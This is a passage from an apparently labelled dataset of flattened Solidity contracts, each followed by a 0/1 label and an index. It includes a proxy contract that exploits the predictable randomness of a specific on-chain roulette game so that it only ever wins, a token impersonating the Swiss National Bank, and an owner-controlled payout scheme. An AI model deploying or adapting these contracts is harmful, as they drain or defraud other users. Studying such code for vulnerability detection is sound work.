_maxProfit) public onlyOwner { require(_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number."); maxProfit = _maxProfit; } function increaseJackpot(uint increaseAmount) external onlyOwner { require(increaseAmount <= address(this).balance, "Increase amount larger than balance."); require(jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds."); jackpotSize += uint128(increaseAmount); } function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner { require(withdrawAmount <= address(this).balance, "Increase amount larger than balance."); require(jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds."); sendFunds(beneficiary, withdrawAmount, withdrawAmount); } function kill() external onlyOwner { selfdestruct(owner); } function getBetInfo(uint commit) external view returns (uint amount, uint8 modulo, uint8 rollUnder, uint40 placeBlockNumber, uint40 mask, address gambler) { Bet storage bet = bets[commit]; amount = bet.amount; modulo = bet.modulo; rollUnder = bet.rollUnder; placeBlockNumber = bet.placeBlockNumber; mask = bet.mask; gambler = bet.gambler; } function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable { Bet storage bet = bets[commit]; require(bet.gambler == address(0), "Bet should be in a 'clean' state."); uint amount = msg.value; require(modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range."); require(amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range."); require(betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); require(block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit)); require(secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid."); uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; } else { require(betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo."); rollUnder = betMask; } uint possibleWinAmount; uint jackpotFee; (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); require(possibleWinAmount <= amount + maxProfit, "maxProfit limit violation."); lockedInBets += uint128(possibleWinAmount); jackpotSize += uint128(jackpotFee); require(jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet."); emit Commit(commit); bet.amount = amount; bet.modulo = uint8(modulo); bet.rollUnder = uint8(rollUnder); bet.placeBlockNumber = uint40(block.number); bet.mask = uint40(mask); bet.gambler = msg.sender; } function settleBet(bytes20 reveal1, bytes20 reveal2, bytes32 blockHash) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal1, reveal2))); Bet storage bet = bets[commit]; uint placeBlockNumber = bet.placeBlockNumber; require(block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before."); require(block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); require(blockhash(placeBlockNumber) == blockHash, "blockHash invalid"); settleBetCommon(bet, reveal1, reveal2, blockHash); } function settleBetCommon(Bet storage bet, bytes20 reveal1, bytes20 reveal2, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; require(amount != 0, "Bet should be in an 'active' state"); bet.amount = 0; bytes32 entropy = keccak256(abi.encodePacked(reveal1, entropyBlockHash, reveal2)); uint dice = uint(entropy) % modulo; uint diceWinAmount; uint _jackpotFee; (diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); uint diceWin = 0; uint jackpotWin = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** dice) & bet.mask != 0) { diceWin = diceWinAmount; } } else { if (dice < rollUnder) { diceWin = diceWinAmount; } } lockedInBets -= uint128(diceWinAmount); if (amount >= MIN_JACKPOT_BET) { uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO; if (jackpotRng == 0) { jackpotWin = jackpotSize; jackpotSize = 0; } } if (jackpotWin > 0) { emit JackpotPayment(gambler, jackpotWin); } sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin); } function refundBet(uint commit) external { Bet storage bet = bets[commit]; uint amount = bet.amount; require(amount != 0, "Bet should be in an 'active' state"); require(block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); bet.amount = 0; uint diceWinAmount; uint jackpotFee; (diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder); lockedInBets -= uint128(diceWinAmount); jackpotSize -= uint128(jackpotFee); sendFunds(bet.gambler, amount, amount); } function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private view returns (uint winAmount, uint jackpotFee) { require(0 < rollUnder && rollUnder <= modulo, "Win probability out of range."); jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0; uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT; } require(houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge."); winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder; } function sendFunds(address beneficiary, uint amount, uint successLogAmount) private { if (beneficiary.send(amount)) { emit Payment(beneficiary, successLogAmount); } else { emit FailedPayment(beneficiary, amount); } } uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; }
0
2,203
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply()public view returns (uint total_Supply); function balanceOf(address _owner)public view returns (uint256 balance); function allowance(address _owner, address _spender)public view returns (uint remaining); function transferFrom(address _from, address _to, uint _amount)public returns (bool ok); function approve(address _spender, uint _amount)public returns (bool ok); function transfer(address _to, uint _amount)public returns (bool ok); event Transfer(address indexed _from, address indexed _to, uint _amount); event Approval(address indexed _owner, address indexed _spender, uint _amount); } contract SwissNationalBank is ERC20 {using SafeMath for uint256; string public constant symbol = ".000,CHFswissfrancs"; string public constant name = "Swiss National Bank-BANCA NAZIUNALA SVIZRA..SCHWEIZERISCHE NATIONALBANK..BANQUE NATIONALE SUISSE..BANCA NAZIONALE SVIZZERA"; uint public constant decimals = 18; uint256 _totalSupply = 999000000000000000000 * 10 ** 18; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } constructor () public { owner = msg.sender; balances[owner] = _totalSupply; emit Transfer(0, owner, _totalSupply); } function burntokens(uint256 tokens) public onlyOwner { _totalSupply = (_totalSupply).sub(tokens); } function totalSupply() public view returns (uint256 total_Supply) { total_Supply = _totalSupply; } function balanceOf(address _owner)public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount)public returns (bool ok) { require( _to != 0x0); require(balances[msg.sender] >= _amount && _amount >= 0); balances[msg.sender] = (balances[msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom( address _from, address _to, uint256 _amount )public returns (bool ok) { require( _to != 0x0); require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0); balances[_from] = (balances[_from]).sub(_amount); allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount)public returns (bool ok) { require( _spender != 0x0); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender)public view returns (uint256 remaining) { require( _owner != 0x0 && _spender !=0x0); return allowed[_owner][_spender]; } function transferOwnership(address newOwner) external onlyOwner { uint256 x = balances[owner]; require( newOwner != 0x0); balances[newOwner] = (balances[newOwner]).add(balances[owner]); balances[owner] = 0; owner = newOwner; emit Transfer(msg.sender, newOwner, x); } }
1
2,713
pragma solidity ^0.5.1; contract EthSwapContract { string public VERSION; struct Swap { uint256 timelock; uint256 value; uint256 brokerFee; bytes32 secretLock; bytes32 secretKey; address payable funder; address payable spender; address payable broker; } enum States { INVALID, OPEN, CLOSED, EXPIRED } event LogOpen(bytes32 _swapID, address _spender, bytes32 _secretLock); event LogExpire(bytes32 _swapID); event LogClose(bytes32 _swapID, bytes32 _secretKey); mapping (bytes32 => Swap) private swaps; mapping (bytes32 => States) private swapStates; mapping (address => uint256) public brokerFees; mapping (bytes32 => uint256) public redeemedAt; modifier onlyInvalidSwaps(bytes32 _swapID) { require(swapStates[_swapID] == States.INVALID, "swap opened previously"); _; } modifier onlyOpenSwaps(bytes32 _swapID) { require(swapStates[_swapID] == States.OPEN, "swap not open"); _; } modifier onlyClosedSwaps(bytes32 _swapID) { require(swapStates[_swapID] == States.CLOSED, "swap not redeemed"); _; } modifier onlyExpirableSwaps(bytes32 _swapID) { require(now >= swaps[_swapID].timelock, "swap not expirable"); _; } modifier onlyWithSecretKey(bytes32 _swapID, bytes32 _secretKey) { require(swaps[_swapID].secretLock == sha256(abi.encodePacked(_secretKey)), "invalid secret"); _; } modifier onlySpender(bytes32 _swapID, address _spender) { require(swaps[_swapID].spender == _spender, "unauthorized spender"); _; } constructor(string memory _VERSION) public { VERSION = _VERSION; } function initiateWithFees( bytes32 _swapID, address _spender, address _broker, uint256 _brokerFee, bytes32 _secretLock, uint256 _timelock, uint256 _value ) external onlyInvalidSwaps(_swapID) payable { require(_value == msg.value && _value >= _brokerFee); Swap memory swap = Swap({ timelock: _timelock, brokerFee: _brokerFee, value: _value - _brokerFee, funder: address(uint160(msg.sender)), spender: address(uint160(_spender)), broker: address(uint160(_broker)), secretLock: _secretLock, secretKey: 0x0 }); swaps[_swapID] = swap; swapStates[_swapID] = States.OPEN; emit LogOpen(_swapID, _spender, _secretLock); } function initiate( bytes32 _swapID, address _spender, bytes32 _secretLock, uint256 _timelock, uint256 _value ) external onlyInvalidSwaps(_swapID) payable { require(_value == msg.value); Swap memory swap = Swap({ timelock: _timelock, brokerFee: 0, value: _value, funder: address(uint160(msg.sender)), spender: address(uint160(_spender)), broker: address(0x0), secretLock: _secretLock, secretKey: 0x0 }); swaps[_swapID] = swap; swapStates[_swapID] = States.OPEN; emit LogOpen(_swapID, _spender, _secretLock); } function redeem(bytes32 _swapID, address _receiver, bytes32 _secretKey) external onlyOpenSwaps(_swapID) onlyWithSecretKey(_swapID, _secretKey) onlySpender(_swapID, msg.sender) { address payable receiver = address(uint160(_receiver)); swaps[_swapID].secretKey = _secretKey; swapStates[_swapID] = States.CLOSED; redeemedAt[_swapID] = now; brokerFees[swaps[_swapID].broker] += swaps[_swapID].brokerFee; receiver.transfer(swaps[_swapID].value); emit LogClose(_swapID, _secretKey); } function refund(bytes32 _swapID) external onlyOpenSwaps(_swapID) onlyExpirableSwaps(_swapID) { swapStates[_swapID] = States.EXPIRED; swaps[_swapID].funder.transfer(swaps[_swapID].value + swaps[_swapID].brokerFee); emit LogExpire(_swapID); } function withdrawBrokerFees(uint256 _amount) external { require(_amount <= brokerFees[msg.sender]); brokerFees[msg.sender] -= _amount; msg.sender.transfer(_amount); } function audit(bytes32 _swapID) external view returns (uint256 timelock, uint256 value, address to, uint256 brokerFee, address broker, address from, bytes32 secretLock) { Swap memory swap = swaps[_swapID]; return ( swap.timelock, swap.value, swap.spender, swap.brokerFee, swap.broker, swap.funder, swap.secretLock ); } function auditSecret(bytes32 _swapID) external view onlyClosedSwaps(_swapID) returns (bytes32 secretKey) { return swaps[_swapID].secretKey; } function refundable(bytes32 _swapID) external view returns (bool) { return (now >= swaps[_swapID].timelock && swapStates[_swapID] == States.OPEN); } function initiatable(bytes32 _swapID) external view returns (bool) { return (swapStates[_swapID] == States.INVALID); } function redeemable(bytes32 _swapID) external view returns (bool) { return (swapStates[_swapID] == States.OPEN); } function swapID(bytes32 _secretLock, uint256 _timelock) public pure returns (bytes32) { return keccak256(abi.encodePacked(_secretLock, _timelock)); } }
1
4,907
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Choicemining is PausableToken { string public name = "Choicemining"; string public symbol = "CHM"; uint public decimals = 18; uint public INITIAL_SUPPLY = 11000000000000000000000000; constructor() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
1
5,094
pragma solidity ^0.5.0; interface TargetInterface { function getRoom(uint256 _roomId) external view returns (string memory name, address[] memory players, uint256 entryPrice, uint256 balance); function enter(uint256 _roomId) external payable; } contract Proxy_RuletkaIo { address payable private targetAddress = 0xEf02C45C5913629Dd12e7a9446455049775EEC32; address payable private owner; constructor() public payable { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function ping(uint256 _roomId, bool _keepBalance) public payable onlyOwner { TargetInterface target = TargetInterface(targetAddress); address[] memory players; uint256 entryPrice; (, players, entryPrice,) = target.getRoom(_roomId); uint256 playersLength = players.length; require(playersLength > 0 && playersLength < 6); require(uint256(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % 6) < playersLength); uint256 stepCount = 6 - playersLength; uint256 ourBalanceInitial = address(this).balance; for (uint256 i = 0; i < stepCount; i++) { target.enter.value(entryPrice)(_roomId); } require(address(this).balance > ourBalanceInitial); if (!_keepBalance) { owner.transfer(address(this).balance); } } function withdraw() public onlyOwner { owner.transfer(address(this).balance); } function kill() public onlyOwner { selfdestruct(owner); } function() external payable { } }
1
3,572
pragma solidity ^0.4.24; contract TheWarRedNation { struct _Tx { address txuser; uint txvalue; } _Tx[] public Tx; uint public counter; address owner; modifier onlyowner { if (msg.sender == owner) _; } constructor () public { owner = msg.sender; } function() public payable { require(msg.value>=0.01 ether); Sort(); } function Sort() internal { uint feecounter; feecounter=msg.value/5; owner.send(feecounter); feecounter=0; uint txcounter=Tx.length; counter=Tx.length; Tx.length++; Tx[txcounter].txuser=msg.sender; Tx[txcounter].txvalue=msg.value; } function Count(uint end, uint start) public onlyowner { while (end>start) { Tx[end].txuser.send((Tx[end].txvalue/1000)*200); end-=1; } } }
0
1,990
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract LescovexERC20 is Ownable { using SafeMath for uint256; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => timeHold) holded; struct timeHold{ uint256[] amount; uint256[] time; uint256 length; } string public constant standard = "ERC20 Lescovex ISC Income Smart Contract"; uint8 public constant decimals = 8; uint256 public holdMax = 100; uint256 public totalSupply; uint256 public holdTime; string public name; string public symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function holdedOf(address _owner) public view returns (uint256) { uint256 requiredTime = block.timestamp - holdTime; uint256 iValid = 0; uint256 iNotValid = holded[_owner].length; if (iNotValid == 0 || holded[_owner].time[iValid] >= requiredTime) { return 0; } uint256 i = iNotValid / 2; while (i > iValid) { if (holded[_owner].time[i] < requiredTime) { iValid = i; } else { iNotValid = i; } i = (iNotValid + iValid) / 2; } return holded[_owner].amount[iValid]; } function hold(address _to, uint256 _value) internal { require(holded[_to].length < holdMax); uint256 len = holded[_to].length; uint256 accumulatedValue = (len == 0 ) ? _value : _value + holded[_to].amount[len - 1]; holded[_to].amount.push(accumulatedValue); holded[_to].time.push(block.timestamp); holded[_to].length++; } function setHoldTime(uint256 _value) external onlyOwner{ holdTime = _value; } function setHoldMax(uint256 _value) external onlyOwner{ holdMax = _value; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); delete holded[msg.sender]; hold(msg.sender,balances[msg.sender]); hold(_to,_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); delete holded[_from]; hold(_from,balances[_from]); hold(_to,_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ; } contract Lescovex_ISC is LescovexERC20 { uint256 public contractBalance = 0; event LogDeposit(address sender, uint amount); event LogWithdrawal(address receiver, uint amount); address contractAddr = this; constructor ( uint256 initialSupply, string contractName, string tokenSymbol, uint256 contractHoldTime, address contractOwner ) public { totalSupply = initialSupply; name = contractName; symbol = tokenSymbol; holdTime = contractHoldTime; balances[contractOwner] = totalSupply; } function deposit() external payable onlyOwner returns(bool success) { contractBalance = contractAddr.balance; emit LogDeposit(msg.sender, msg.value); return true; } function withdrawReward() external { uint256 ethAmount = (holdedOf(msg.sender) * contractBalance) / totalSupply; require(ethAmount > 0); emit LogWithdrawal(msg.sender, ethAmount); delete holded[msg.sender]; hold(msg.sender,balances[msg.sender]); msg.sender.transfer(ethAmount); } function withdraw(uint256 value) external onlyOwner { msg.sender.transfer(value); emit LogWithdrawal(msg.sender, value); } }
1
4,120
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract CareerChainToken is CappedToken(93000000000000000000000000), BurnableToken { string public name = "CareerChain Token"; string public symbol = "CCH"; uint8 public decimals = 18; function burn(uint256 _value) public onlyOwner { _burn(msg.sender, _value); } }
1
4,563
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = 